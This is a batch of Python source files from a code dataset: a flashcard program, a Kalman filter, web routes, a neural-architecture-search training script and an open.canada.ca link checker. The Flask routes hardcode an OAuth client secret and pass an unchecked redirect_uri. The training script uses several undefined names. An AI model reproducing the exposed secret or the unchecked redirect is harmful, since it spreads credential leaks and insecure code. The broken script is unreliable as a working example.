else:\n        active_deck = arr[n]\n        while active_deck.get_card().is_due():\n            data = active_deck.get_card_display()\n            print(data[0])\n            input(\"Press enter to reveal back side.\")\n            print(data[1])\n            print(\"Rate your ease of recall. -1 to quit.\")\n            performance = int(input(\"0: Failed, 4: Hard, 5: Medium, 6: Easy : \"))\n            while performance < -1 or performance > 6:\n                performance = int(input(\"0: Failed, 4: Hard, 5: Medium, 6: Easy : \"))\n            if performance == -1:\n                return study_screen\n            active_deck.edit_card(0, performance)\n            cont = input(\"Continue? y/n: \")\n            while cont.lower() != \"y\" and cont.lower() != \"n\":\n                cont = input(\"Invalid input. Continue? y/n: \")\n            if cont.lower() == \"n\":\n                return study_screen\n        print(\"No more cards are due.\")\n        return study_screen\n    \n####################################################\n# Program loop.\nchosen = main_screen\nwhile chosen != \"q\":\n    chosen = chosen()\n    save_data()\nelse:\n    save_data()\n    print(\"Goodbye!\")","sub_path":"flashcardprog.py","file_name":"flashcardprog.py","file_ext":"py","file_size_in_byte":7889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"572172079","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2016 Michael Welter\n#\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n\n'''\n    Kalman filter base module.\n'''\n\nimport numpy as np\nimport numpy.matlib as mt\n\n# because the matrix type enables the use of '*' as matrix product instead\n# of element wise multiplication. This is STUPIDLY DANGEROUS as forgotten\n# conversions to matrix will result in element wise multiplication.\n# Still I like to store my data in N x NumStateVars x SomeOtherDimension\n# sized arrays.\nM = mt.asmatrix\n\n\ndef exponentialSmooth(x, dt, T):\n  ''' compute IIR filter using simple weighted average of last result and\n      current input.\n      \n      x  = array of inputs\n      dt = sampling distance\n      T  = filter window size\n  '''\n  x = x.copy()\n  if hasattr(dt, '__iter__') or hasattr(T, '__iter__'):\n    dt = np.resize(np.asarray(dt), (len(x),))\n    T  = np.resize(np.asarray(T), (len(x),))\n    for i in xrange(1, len(x)):\n      f = dt[i] / (dt[i] + T[i])\n      x[i] = x[i-1] * (1. - f) + x[i] * f\n  else:\n    f = dt / (dt + T)\n    for i in xrange(1, len(x)):\n      x[i] = x[i-1] * (1. - f) + x[i] * f\n  return x\n\n\ndef deadzoneFilter(x, w):\n  '''\n    w is the size of the deadzone.\n    \n    Small variations of the input x are suppressed. If the input 'moves'\n    by more than w, the output starts following the input.\n  '''\n  y = x.copy()\n  for i in xrange(1, len(x)):\n    dxy = (x[i] - y[i-1])\n    if w[i] > 0.:\n      f = np.power(np.abs(dxy)/w[i], 4.)\n      response = f / (1 + f) * dxy\n      y[i] = y[i-1] + response\n    else:\n      y[i] = x[i]\n  return y\n    \n    \n\n\nclass Constant(object):\n  '''\n      Always return the same object.\n      Lets me write\n         A = Constant(M([.....]))\n         ....\n         a_at_kth_step = A(k)\n      Because KF should handle time varying things.\n  '''\n  def __init__(self, obj):\n    self.obj = obj\n  \n  def __call__(self, k):\n    return self.obj\n\n\nclass KalmanFilter(object):\n  '''\n      You need to set some attributes for this to function, namely\n      \n      A = process matrix\n      Q = process noise cov\n      H = measurement matrix\n      R = measurement noise cov\n      Pminus = initial estimate cov\n  '''\n  def __init__(self, numStateVars, measurements):\n    measurements = np.asarray(measurements)\n    self.NZ = NZ = measurements.shape[1]\n    self.N  = N  = measurements.shape[0]\n    self.NS = NS = numStateVars\n    sz_state = (N, NS, 1)\n    sz_cov   = (N, NS, numStateVars)\n    sz_K     = (N, NS, NZ)\n    self.I         = mt.identity(NS)\n    self.xhat      = np.zeros(sz_state)      # a posteri estimate of x\n    self.P         = np.zeros(sz_cov)         # a posteri error estimate\n    self.xhatminus = np.zeros(sz_state) # a priori estimate of x\n    self.Pminus    = np.zeros(sz_cov)    # a priori error estimate\n    self.K         = np.zeros(sz_K)       # gain or blending factor\n    self.z         = np.reshape(measurements, (N, NZ, 1))\n\n  def timeUpdate(self, k):\n    A = M(self.A(k))\n    self.xhatminus[k] = A * M(self.xhat[k-1])\n    Q = M(self.Q(k))\n    self.Pminus[k]    = A * M(self.P[k-1]) * A.T + Q\n\n  def measurementUpdate(self, k):\n    z = M(self.z[k])\n    H = M(self.H(k))\n    R = M(self.R(k))\n    Pminus = M(self.Pminus[k])\n    xhatminus = M(self.xhatminus[k])\n    # measurement update\n    self.K[k] = K = Pminus * H.T * np.linalg.inv( H * Pminus * H.T + R )\n    self.xhat[k] = xhatminus + K * (z - H * xhatminus)\n    self.P[k] = ( self.I - K * H ) * Pminus\n\n  def run(self):\n    self.P[0]      = self.initialP\n    self.Pminus[0] = self.initialP\n    for k in xrange(1, self.N):\n      self.timeUpdate(k)\n      self.measurementUpdate(k)\n\n  @property\n  def output(self):\n    return self.xhat[:,:,0]\n\n\n\nclass QScalingBase(object):\n    '''\n        Can be used as Q in KalmanFilter using composition like so\n        kf = KalmanFilter\n        kf.Q = QScalingSomething(kf, something)\n        ...\n    '''\n    def __init__(self, kf, L, exponent):\n        self.kf = kf\n        self.L = L\n        self.exponent = exponent\n        N, NZ, NS = kf.N, kf.NZ, kf.NS\n        self.alpha = np.ones(N)\n        self.Qhat  = np.zeros((N, NS, NS))\n        self.d     = np.zeros((N, NZ, 1))\n        self.D     = np.zeros((N, NZ, NZ))\n\n    def __call__(self, k):\n        L = self.L\n        self.d[k] = d = self.kf.z[k] - self.kf.H(k) * M(self.kf.xhatminus[k])\n        self.D[k] = self.D[k-1] * (L-1.)/L + (M(d) * M(d).T) * (1./L)\n        Q = self.calculateQ(k)\n        self.Qhat[k] = Q\n        return Q\n\n\nclass Qscaling1(QScalingBase):\n    '''\n      Inspired by \"Improving Adaptive Kalman Filter in GPS/SDINS Integration \n      with Neural Network\" by Wang et al. Eq. (21).\n      Q[k]  = K E{d[k] d[k]T} KT.  \n      E{ ... }  is estimated expectation by time average. \n      d[k] is the series of inovations: d[k] = z[k] - H x[k]^-\n      \n      Big limitation:  only predictions the \"position\" entry of Q[k],\n      i.e. the position variance.\n      Therefore I use the baseline Q and scale it so that Q[k][1,1]\n      matches the estimated position variance.\n    '''   \n    def calculateQ(self, k):\n        baseQ = M(self.Q(k))\n        K     = M(self.kf.K[k-1])\n        D     = M(self.D[k])\n        \n        Qest = K * D * K.T\n        #print D, K\n\n        f = mt.trace(Qest) / mt.trace(baseQ)\n        f = np.power(f, self.exponent)\n        f = min(10000000., f)\n        Q = baseQ * f\n        self.alpha[k] = f\n        return Q\n\n\nclass Qscaling2(QScalingBase):\n    '''\n      Inspired by \"Improving Adaptive Kalman Estimation in GPS/INS Integration\" by Ding et al. (2007).\n      Scale Q[k] by some factor derived from the estimated cov of the inovation sequence. \n    '''\n    def calculateQ(self, k):\n      Q = M(self.Q(k))\n      R = M(self.kf.R(k))\n      H = M(self.kf.H(k))\n      D = M(self.D[k-1])\n      \n      alpha = np.trace(D - R) / np.trace(H * M(self.kf.Pminus[k-1]) * H.T)\n      alpha = np.asscalar(alpha)\n      if np.isfinite(alpha) and alpha>0:\n          alpha = np.power(alpha, self.exponent)\n          alpha = max(0.0001, min(alpha, 1000.*mt.trace(R) / mt.trace(Q)))\n      else:\n          alpha = 0.0001\n      Q = Q * alpha\n      self.alpha[k] = alpha\n      return Q\n","sub_path":"kalmanfilter.py","file_name":"kalmanfilter.py","file_ext":"py","file_size_in_byte":6305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"193576187","text":"import views\n\nfrom framework import Application\n\n\n\nroutes = {\n    '/': views.index_view,\n    '/black/': views.black_view,\n    '/red/': views.red_view,\n    '/white/': views.white_view,\n    '/other/': views.Other(),\n    '/about/': views.about_view,\n    '/contact/': views.contact_view,\n    '/random/': views.random_view\n}\n\n\n# Front controllers\ndef opposite_color_front(request):\n    request['opposite_color'] = 'opposite color'\n\n\ndef similar_color_front(request):\n    request['similar_color'] = 'similar color'\n\nfronts = [opposite_color_front, similar_color_front]\napplication = Application(routes, fronts)\n\n# uwsgi --http :8000 --wsgi-file main.py\n","sub_path":"lesson_02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"111206435","text":"import itertools\nimport math\n\nimport numpy\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch import Tensor\nfrom torch.nn import Linear, MSELoss\nfrom torch.nn import functional as F\nfrom torch.optim import SGD, Adam\n\nimport wandb\nfrom datasets import get_datasets\nfrom log_utils import AverageMeter, wandb_auth\nfrom utils import (\n    data_generator,\n    eval_features,\n    featurize,\n    hessian,\n    jacobian,\n)\nfrom models import SoTLNet\nfrom sotl_utils import sotl_gradient, WeightBuffer\nimport scipy.linalg\nimport time\nimport fire\n\ndef train_bptt(\n    num_epochs: int,\n    model,\n    criterion,\n    w_optimizer,\n    a_optimizer,\n    dset_train,\n    dset_val,\n    batch_size: int,\n    T: int,\n    w_checkpoint_freq: int,\n    grad_clip: float,\n    w_lr: float,\n    logging_freq: int,\n    grad_inner_loop_order: int,\n    grad_outer_loop_order:int,\n    hvp: str,\n    arch_train_data:str,\n    normalize_a_lr:bool,\n    log_grad_norm:bool,\n    log_alphas:bool,\n    w_warm_start:int,\n    extra_weight_decay:float\n):\n    train_loader = torch.utils.data.DataLoader(\n        dset_train, batch_size=batch_size * T, shuffle=True\n    )\n    val_loader = torch.utils.data.DataLoader(dset_val, batch_size=batch_size)\n    grad_compute_speed = AverageMeter()\n\n    for epoch in range(num_epochs):\n        model.train()\n\n        epoch_loss = AverageMeter()\n        true_batch_index = 0\n        \n        val_iter = iter(val_loader)\n        for batch_idx, batch in enumerate(train_loader):\n\n\n            xs, ys = torch.split(batch[0], batch_size), torch.split(\n                batch[1], batch_size\n            )\n\n            weight_buffer = WeightBuffer(T=T, checkpoint_freq=w_checkpoint_freq)\n            for intra_batch_idx, (x, y) in enumerate(zip(xs, ys)):\n                weight_buffer.add(model, intra_batch_idx)\n\n                y_pred = model(x)\n\n                param_norm = 0\n                if extra_weight_decay is not None and extra_weight_decay != 0:\n                    for weight in model.weight_params():\n                        param_norm = param_norm + torch.pow(weight.norm(2), 2)\n                \n                \n                loss = criterion(y_pred, y) + param_norm\n                epoch_loss.update(loss.item())\n\n                grads = torch.autograd.grad(\n                    loss,\n                    model.weight_params(),\n                    retain_graph=True,\n                    create_graph=True,\n                )\n\n                w_optimizer.zero_grad()\n\n                with torch.no_grad():\n                    for g, w in zip(grads, model.weight_params()):\n                        w.grad = g\n                torch.nn.utils.clip_grad_norm_(model.parameters(), 1)\n\n                w_optimizer.step()\n                true_batch_index += 1\n                wandb.log(\n                    {\n                        \"Train loss\": epoch_loss.avg,\n                        \"Epoch\": epoch,\n                        \"Batch\": true_batch_index,\n                    }\n                )\n\n                if true_batch_index % logging_freq == 0:\n                    print(\n                        \"Epoch: {}, Batch: {}, Loss: {}, Alphas: {}\".format(\n                            epoch,\n                            true_batch_index,\n                            epoch_loss.avg,\n                            [x.data for x in model.arch_params()],\n                        )\n                    )\n\n            val_xs = None\n            val_ys = None\n            if arch_train_data == \"val\":\n                try:\n                    val_batch = next(val_iter)\n                    val_xs, val_ys = torch.split(val_batch[0], batch_size), torch.split(\n                        val_batch[1], batch_size\n                    )\n\n                except:\n                    val_iter = iter(val_loader)\n                    val_batch = next(val_iter)\n                    val_xs, val_ys = torch.split(val_batch[0], batch_size), torch.split(\n                        val_batch[1], batch_size\n                    )\n\n\n            if epoch >= w_warm_start:\n                start_time = time.time()\n                total_arch_gradient = sotl_gradient(\n                    model=model,\n                    criterion=criterion,\n                    xs=xs,\n                    ys=ys,\n                    weight_buffer=weight_buffer,\n                    w_lr=w_lr,\n                    hvp=hvp,\n                    inner_loop_order=grad_inner_loop_order,\n                    outer_loop_order=grad_outer_loop_order,\n                    T=T,\n                    normalize_a_lr=normalize_a_lr,\n                    weight_decay_term=None,\n                    val_xs=val_xs,\n                    val_ys=val_ys\n                )\n                grad_compute_speed.update(time.time() - start_time)\n\n\n                if log_grad_norm:\n                    norm = 0\n                    for g in total_arch_gradient:\n                        norm = norm + g.data.norm(2).item()\n                    wandb.log({\"Arch grad norm\": norm})\n\n                if log_alphas:\n                    if hasattr(model, \"fc1\") and hasattr(model.fc1, \"degree\"):\n                        wandb.log({\"Alpha\":model.fc1.degree.item()})\n\n                a_optimizer.zero_grad()\n\n                for g, w in zip(total_arch_gradient, model.arch_params()):\n                    w.grad = g\n                torch.nn.utils.clip_grad_norm_(model.arch_params(), 1)\n                a_optimizer.step()\n\n        val_results = valid_func(\n            model=model, dset_val=dset_val, criterion=criterion, print_results=False\n        )\n        print(\"Epoch: {}, Val Loss: {}\".format(epoch, val_results.avg))\n        wandb.log({\"Val loss\": val_results.avg, \"Epoch\": epoch})\n        wandb.run.summary[\"Grad compute speed\"] = grad_compute_speed.avg\n\n        print(f\"Grad compute speed: {grad_compute_speed.avg}s\")\n\n\ndef valid_func(model, dset_val, criterion, print_results=True):\n    model.eval()\n    val_loader = torch.utils.data.DataLoader(dset_val, batch_size=32)\n\n    val_meter = AverageMeter()\n    with torch.no_grad():\n        for batch in val_loader:\n            x, y = batch\n            y_pred = model(x)\n            val_loss = criterion(y_pred, y)\n            val_meter.update(val_loss.item())\n    if print_results:\n        print(\"Val loss: {}\".format(val_meter.avg))\n    return val_meter\n\n\ndef train_normal(\n    num_epochs, model, dset_train, batch_size, grad_clip, logging_freq, optim=\"sgd\", **kwargs\n):\n    train_loader = torch.utils.data.DataLoader(\n        dset_train, batch_size=batch_size, shuffle=True\n    )\n\n    model.train()\n    for epoch in range(num_epochs):\n\n        epoch_loss = AverageMeter()\n        for batch_idx, batch in enumerate(train_loader):\n            x, y = batch\n            w_optimizer.zero_grad()\n\n            y_pred = model(x)\n            loss = criterion(y_pred, y)\n            loss.backward(retain_graph=True)\n\n            epoch_loss.update(loss.item())\n            if optim == \"newton\":\n                linear_weight = list(model.weight_params())[0]\n                hessian_newton = torch.inverse(\n                    hessian(loss * 1, linear_weight, linear_weight).reshape(\n                        linear_weight.size()[1], linear_weight.size()[1]\n                    )\n                )\n                with torch.no_grad():\n                    for w in model.weight_params():\n                        w = w.subtract_(torch.matmul(w.grad, hessian_newton))\n            elif optim ==\"sgd\":\n                torch.nn.utils.clip_grad_norm_(model.weight_params(), 1)\n                w_optimizer.step()\n            else:\n                raise NotImplementedError\n        \n            wandb.log(\n                {\"Train loss\": epoch_loss.avg, \"Epoch\": epoch, \"Batch\": batch_idx}\n            )\n\n            if batch_idx % logging_freq == 0:\n                print(\n                    \"Epoch: {}, Batch: {}, Loss: {}, Alphas: {}\".format(\n                        epoch, batch_idx, epoch_loss.avg, model.fc1.alphas.data\n                    )\n                )\n\n\ndef main(num_epochs = 50,\n    batch_size = 64,\n    D = 18,\n    N = 50000,\n    w_lr = 1e-4,\n    w_momentum=0.9,\n    w_weight_decay=0,\n    a_lr = 3e-4,\n    a_momentum = 0.9,\n    a_weight_decay = 0,\n    T = 10,\n    grad_clip = 1,\n    logging_freq = 200,\n    w_checkpoint_freq = 1,\n    max_order_y=7,\n    noise_var=0.25,\n    featurize_type=\"fourier\",\n    initial_degree=100,\n    hvp=\"finite_diff\",\n    arch_train_data=\"val\",\n    normalize_a_lr=True,\n    w_warm_start=0,\n    extra_weight_decay=0.5,\n    grad_inner_loop_order=-1,\n    grad_outer_loop_order=-1,\n    ):\n    config = locals()\n\n    wandb_auth()\n    wandb.init(project=\"NAS\", group=f\"Linear_SOTL\", config=config)\n\n    ### MODEL INIT\n    # x, y = data_generator(N, max_order_generated=D, max_order_y=[(5,7), (9,13)], noise_var=0.25, featurize_type='fourier')\n    # x, y = get_datasets(\"songs\")\n\n    dset_train, dset_val = get_datasets(name=\"MNIST\", data_size=N, max_order_generated=D,\n        max_order_y=max_order_y,\n        noise_var=noise_var,\n        featurize_type=featurize_type)\n\n    model = SoTLNet(num_features=int(len(dset_train[0][0])), layer_type=\"MNIST\", degree=-1, weight_decay=extra_weight_decay)\n\n          \n\n    criterion = get_criterion(model_type)\n    w_optimizer = SGD(model.weight_params(), lr=w_lr, momentum=w_momentum, weight_decay=w_weight_decay)\n    a_optimizer = SGD(model.arch_params(), lr=a_lr, momentum=a_momentum, weight_decay=a_weight_decay)\n\n    wandb.watch(model, log=\"all\")\n    train_bptt(\n        num_epochs=num_epochs,\n        model=model,\n        criterion=criterion,\n        w_optimizer=w_optimizer,\n        a_optimizer=a_optimizer,\n        dset_train=dset_train,\n        dset_val=dset_val,\n        logging_freq=logging_freq,\n        batch_size=batch_size,\n        T=T,\n        grad_clip=grad_clip,\n        w_lr=w_lr,\n        w_checkpoint_freq=w_checkpoint_freq,\n        grad_inner_loop_order=grad_inner_loop_order,\n        grad_outer_loop_order=grad_outer_loop_order,\n        hvp=hvp,\n        arch_train_data=arch_train_data,\n        normalize_a_lr=normalize_a_lr,\n        log_grad_norm=True,\n        log_alphas=True,\n        w_warm_start=w_warm_start,\n        extra_weight_decay=extra_weight_decay\n    )\n    # train_normal(num_epochs=num_epochs, model=model, dset_train=dset_train,\n    #     logging_freq=logging_freq, batch_size=batch_size, grad_clip=grad_clip, optim=\"sgd\")\n\n    lapack_solution, res, eff_rank, sing_values = scipy.linalg.lstsq(x, y)\n    print(f\"Cond number:{abs(sing_values.max()/sing_values.min())}\")\n\n    val_meter = valid_func(model=model, dset_val=dset_val, criterion=criterion)\n\n    model.fc1.weight = torch.nn.Parameter(torch.tensor(lapack_solution))\n\n    val_meter2 = valid_func(model=model, dset_val=dset_val, criterion=criterion)\n\n    print(\n        f\"Trained val loss: {val_meter.avg}, SciPy solver val loss: {val_meter2.avg}, difference: {val_meter.avg - val_meter2.avg} (ie. {(val_meter.avg/val_meter2.avg-1)*100}% more)\"\n    )\n\n    true_degree = max_order_y/2 \n    trained_degree = model.fc1.alphas.item()\n    print(f\"True degree: {true_degree}, trained degree: {trained_degree}, difference: {abs(true_degree - trained_degree)}\")\n    wandb.run.summary[\"degree_mismatch\"] = abs(true_degree-trained_degree)\n\nif __name__ == \"__main__\":\n    try:\n        __IPYTHON__\n        main()\n\n    except KeyboardInterrupt:\n        pass\n    except:\n        fire.Fire(main)\n\n\nnum_epochs = 50\nbatch_size = 64\nD = 18\nN = 50000\nw_lr = 1e-3\nw_momentum=0.9\nw_weight_decay=0.1\na_lr = 3e-3\na_momentum = 0.9\na_weight_decay = 0.2\nT = 10\ngrad_clip = 1\nlogging_freq = 200\nw_checkpoint_freq = 1\nmax_order_y=7\nnoise_var=0.25\nfeaturize_type=\"fourier\"\ninitial_degree=1\nhvp=\"exact\"\nnormalize_a_lr=True\nw_warm_start=0\nextra_weight_decay=1\ngrad_inner_loop_order=-1\ngrad_outer_loop_order=-1","sub_path":"linear/luketina.py","file_name":"luketina.py","file_ext":"py","file_size_in_byte":11804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"444919924","text":"# -*- coding: utf-8 -*-\n\nimport os\n#文件的路径 放到这里\nfile_past=os.path.realpath(__file__)\n# print(file_past)\nproject_path=os.path.split(os.path.split(os.path.realpath(__file__))[0])[0]\n# print(project_path)\n\n#测试用例的路径\ncase_path=os.path.join(project_path,'data','test_api_1.xlsx')\n\n#日志的路径\nlog_path=os.path.join(project_path,'test_result','test_log','test.log')\n\n#测试报告的路径\nreport_path=os.path.join(project_path,'test_result','test_report','QcdTestRepore.html')\n\n#配置文件的路径\nconf_path=os.path.join(project_path,'conf','api_test.conf')\n\nif __name__ == '__main__':\n    print(file_past)\n    print(project_path)\n    print(conf_path)\n    print(case_path)\n","sub_path":"common/project_path.py","file_name":"project_path.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"502591273","text":"import adal\nfrom app import app\nfrom flask import Flask, request, Response\nimport uuid\nimport requests\nimport urllib\n\nCLIENT_ID = 'a273ed9e-915c-4e0f-9109-ec2541deb7b5'\nCLIENT_SECRET = 'F*denrd?/+pHjNV7lKcO6K309b?t9gHE'\nBASEURL = 'http://localhost:3000'\nRESOURCE = 'https://graph.microsoft.com'\nAPI_VERSION = 'v1.0'\nTENANT = 'am.amrita.edu'\nAUTHORITY_URL = 'https://login.microsoftonline.com/' + TENANT\nREDIRECT_URI = BASEURL + '/getAToken'\nAUTHORIZE_URL = 'https://login.microsoftonline.com/am.amrita.edu/oauth2/authorize?'+'response_type=code&client_id='+ CLIENT_ID +'&redirect_uri={}/getAToken'+'&'+'state={}'\n\n@app.route(\"/\")\ndef main():\n    return \"IDENTITY\"\n\n@app.route(\"/auth/\")\ndef auth_begin():\n    return \"Hello\"\n\n@app.route(\"/id/authorize/\")\ndef login():\n    client_id = request.args['client_id']\n    client_redirect_uri = request.args['redirect_uri']\n    redirect_uri = BASEURL + '/microsoft/token?client_id={}&redirect_uri={}'.format(client_id, urllib.quote(client_redirect_uri))\n    auth_state = str(uuid.uuid4())\n    resp = Response(status=307)\n    resp.headers['location'] = AUTHORIZE_URL.format(urllib.quote(redirect_uri), auth_state)\n    return resp\n\n@app.route(\"/microsoft/token\")\ndef main_logic():\n    code = request.args['code']\n    auth_context = adal.AuthenticationContext(AUTHORITY_URL)\n    clientid = request.args['client_id']\n    token_response = auth_context.acquire_token_with_authorization_code(code, REDIRECT_URI, 'https://graph.microsoft.com', CLIENT_ID, CLIENT_SECRET)\n    token = token_response['accessToken']\n    print(token)\n    endpoint = RESOURCE + '/' + API_VERSION + '/me/'\n    http_headers = {'Authorization': 'Bearer ' + token,\n                    'Accept': 'application/json',\n                    'Content-Type': 'application/json',\n                    'client-request-id': str(uuid.uuid4())}\n    print(http_headers)\n    graph_data = requests.get(endpoint, headers=http_headers, stream=False).json()\n    return graph_data","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"236909290","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport time\nimport datetime\nimport sys\nimport logging\nimport tempfile\nimport gzip\nimport json\nfrom collections import defaultdict\n\nimport lmdb\n\nimport requests\nimport asyncio\nfrom functools import partial\nfrom requests.models import Response\nimport urllib\nfrom urllib.request import urlopen\nimport traceback\nimport unicodecsv\nimport codecs\n\nproxy= os.environ['http_proxy']\ntemp_db = '/tmp/od_linkcheker2.db'\n\ndef test_ftp(url):\n    res = Response()\n    try:\n        req = urllib.request.Request(url)\n        if proxy:\n            req.set_proxy(proxy, 'http')\n        response = urlopen(req, timeout=30)\n        chunk = response.read(16)\n        if len(chunk) == 16:\n            res.status_code = 200\n        else:\n            res.status_code = 404\n    except:\n        res.status_code = 404\n    print(url, res.status_code)\n    return res\n\nUSER_AGENT=\"open.canada.ca dataset link checker; abuse report open-ouvert@tbs-sct.gc.ca\"\n\n\ndef get_a_byte(response, *args, **kwargs):\n    if response.status_code == requests.codes.ok:\n        count = 0\n        for line in response.iter_content():\n            count += (len(line))\n            if count > 0:\n                print(response.url, count)\n                response.close()\n                break\n\n\n@asyncio.coroutine\ndef test_urls(urls, results):\n    loop = asyncio.get_event_loop()\n    futures =[]\n    for url in urls:\n        if url[:6].lower() =='ftp://':\n            future = loop.run_in_executor(None, test_ftp,url)\n        else:\n            future = loop.run_in_executor(None, partial(requests.get, headers={\"user-agent\":USER_AGENT},\n                                          hooks={'response': get_a_byte}, verify=False,\n                                          timeout=30, stream=True), url)\n        futures.append(future)\n    for future in futures:\n        try:\n            res = yield from future\n        except requests.exceptions.ProxyError:\n            print('proxy error', urls[ futures.index(future)])\n            res = Exception()\n        except requests.exceptions.ReadTimeout:\n            print('timeout', urls[ futures.index(future)])\n            res = Exception()\n        except (requests.exceptions.InvalidSchema, requests.exceptions.InvalidURL):\n            print('invalidURL', urls[ futures.index(future)])\n            res = Response()\n            res.status_code = 404\n        except:\n            import traceback\n            traceback.print_exc()\n            res = Exception()\n        results.append(res)\n\n\nclass Records():\n    def __init__(self, file, verbose):\n        self.file = file\n        self.download_file = None\n        self.verbose = verbose\n        mapsize = 100 * 1024 * 1024 * 1024\n        self.env = lmdb.open(temp_db, map_size=mapsize, sync=False)\n        #self.txn = self.env.begin(write=True)\n\n        #p_records = site.action.current_package_list_with_resources( offset=start, limit=rows)\n    def __delete__(self):\n        self.env.close()\n        if not self.file:\n            if self.download_file:\n                os.unlink(self.download_file)\n                print('temp file deleted', self.download_file)\n\n    def download(self):\n        if not self.file:\n            # dataset http://open.canada.ca/data/en/dataset/c4c5c7f1-bfa6-4ff6-b4a0-c164cb2060f7\n            url='http://open.canada.ca/static/od-do-canada.jl.gz'\n            r = requests.get(url, stream=True)\n\n            f = tempfile.NamedTemporaryFile(delete=False)\n            for chunk in r.iter_content(1024 * 64):\n                    f.write(chunk)\n            f.close()\n            self.download_file = f.name\n\n        records = []\n        fname = self.file or f.name\n        try:\n            with gzip.open(fname, 'rb') as fd:\n                for line in fd:\n                    records.append(json.loads(line.decode('utf-8')))\n                    if len(records) >= 50:\n                        yield (records)\n                        records = []\n            if len(records) >0:\n                yield (records)\n        except GeneratorExit:\n            pass\n        except:\n            import traceback\n            traceback.print_exc()\n            print('error reading downloaded file')\n\n    def test_links(self, new_url, urls):\n        links = []\n        results = []\n        for k,v in new_url.items():\n            links.append(k)\n        loop = asyncio.get_event_loop()\n        loop.run_until_complete(test_urls(links, results))\n        with self.env.begin(write=True) as txn:\n            now = time.time()\n            results = zip(links, results)\n            for url, response in results:\n                if type(response) is Exception:\n                    res={'timestamp': now,\n                         'status': -1,\n                         'resources': new_url[url]}\n                else:\n                    res={'timestamp': now,\n                         'status':response.status_code}\n                    if response.status_code != requests.codes.ok:\n                        res['resources'] = new_url[url]\n                        res['org'] = urls.get(url, None)\n                txn.put(url.encode('utf-8'), json.dumps(res).encode('utf-8'))\n        if links:\n            time.sleep(5)  # break\n\n    def get_resources(self):\n        count = 0\n        new_url = defaultdict(list)\n        urls = {}\n        for records in self.download():\n            now = time.time()\n            count += len(records)\n            with self.env.begin() as txn:\n                for record in records:\n                    id = record['id']\n                    for res in record['resources']:\n                        if (not res['url_type']) and res.get('url'):\n                            #print(res)\n                            url= res['url']\n                            details =txn.get(url.encode('utf-8'))\n                            if details:\n                                details = json.loads(details.decode('utf-8'))\n                                if False: #short re-run test\n                                    if now - details.get('timestamp', 0) < 34 * 3600 and (details['status']!= -1):\n                                        continue\n                                #if details['status'] == requests.codes.ok:\n                                if False:\n                                    if details['status'] != -1 or url[:7]!='http://':\n                                        continue\n                                if details['status'] == requests.codes.ok:\n                                    continue\n                            new_url[url].append('/'.join([id, res['id']]))\n                            if record.get('organization'):\n                                urls[url]={'name': record['organization']['name'],\n                                           'title': record['organization']['title']}\n            if len(new_url) >=500:\n                self.test_links(new_url, urls)\n                new_url = defaultdict(list)\n                urls = {}\n        if new_url:\n            self.test_links(new_url, urls)\n        print ('total record count: ', count)\n\n    def dumpBrokenLink(self):\n        outf=open('/tmp/brokenlink.csv', 'wb')\n        outf.write(codecs.BOM_UTF8)\n        out = unicodecsv.writer(outf)\n        out.writerow(['organization name', 'status', 'link', 'dataset_id/resource_id'])\n        data = defaultdict(list)\n        with self.env.begin() as txn:\n            for url, value in txn.cursor():\n                details = json.loads(value.decode('utf-8'))\n                if details['status'] != requests.codes.ok:\n                    #print(url.decode('utf-8'), details)\n                    org_name = details['org']['name'] if details.get('org') else 'unknown_org'\n                    data[org_name].append([url, details['resources'], details['status']])\n        count, count2 = 0, 0\n        for name, urls in data.items():\n            for url, res, status in urls:\n                status_str = status if status!= -1 else 'timeout'\n                out.writerow([name,  status_str, url.decode('utf-8'), json.dumps(res)])\n                count += 1\n                if status ==-1:\n                    count2 += 1\n        outf.close()\n        print(self.env.info())\n        print(self.env.stat())\n        print('total {0} dumped, timeout_count {1}'.format(count, count2))\n\n    def dumpBrokenLink_v2(self):\n        outf=open('/tmp/brokenlink.csv', 'wb')\n        outf.write(codecs.BOM_UTF8)\n        out = unicodecsv.writer(outf)\n        #Header\n        out.writerow(['Metadata ID / Métadonnées ID',\n                      'Metadata Record Portal Type / Type de portail de la record de métadonnées',\n                      'Metadata Record Name English / Nom de la record de la métadonnées anglais',\n                      'Metadata Record Name French / Nom de la record de la métadonnées français',\n                      \"Department Name English / Nom d'département d'anglais\",\n                      \"Department Name French / Nom département de français\",\n                      \"Resource Name English/ Non de la resource angalis\",\n                      \"Resource Name French/ Non de la resource français\",\n                      \"Year / Année\",\n                      \"Month / Mois\",\n                      \"Broken Link / Lien brisé\",\n                      \"Status / Statut\", \n                     ])\n        data = {}\n        with self.env.begin() as txn:\n            for url, value in txn.cursor():\n                details = json.loads(value.decode('utf-8'))\n                if details['status'] != requests.codes.ok:\n                    #print(url.decode('utf-8'), details)\n                    for res_id in details['resources']:\n                        data[res_id] = {'status':details['status']}\n\n        for records in self.download():\n            for record in records:\n                id = record['id']\n                for res in record['resources']:\n                    if (not res['url_type']) and res.get('url'):\n                        #print(res)\n                        url= res['url']\n                        full_id = '/'.join([id, res['id']])\n                        detail = data.get(full_id, None)\n                        if not detail: continue\n                        time_str = res.get('last_modified')\n                        if not time_str:\n                            time_str = res.get('created')\n                        try:\n                            timestamp = datetime.datetime.strptime(time_str, \"%Y-%m-%dT%H:%M:%S.%f\")\n                        except:\n                            timestamp = None\n                        detail.update({\n                                       'metadata_id': full_id,\n                                       'portal_type': record['type'],#record['collection'],\n                                       'record_name_en': record['title_translated']['en'],\n                                       'record_name_fr': record['title_translated']['fr'],                                       \n                                       'org_name_en': record['organization']['title'].split('|')[0],\n                                       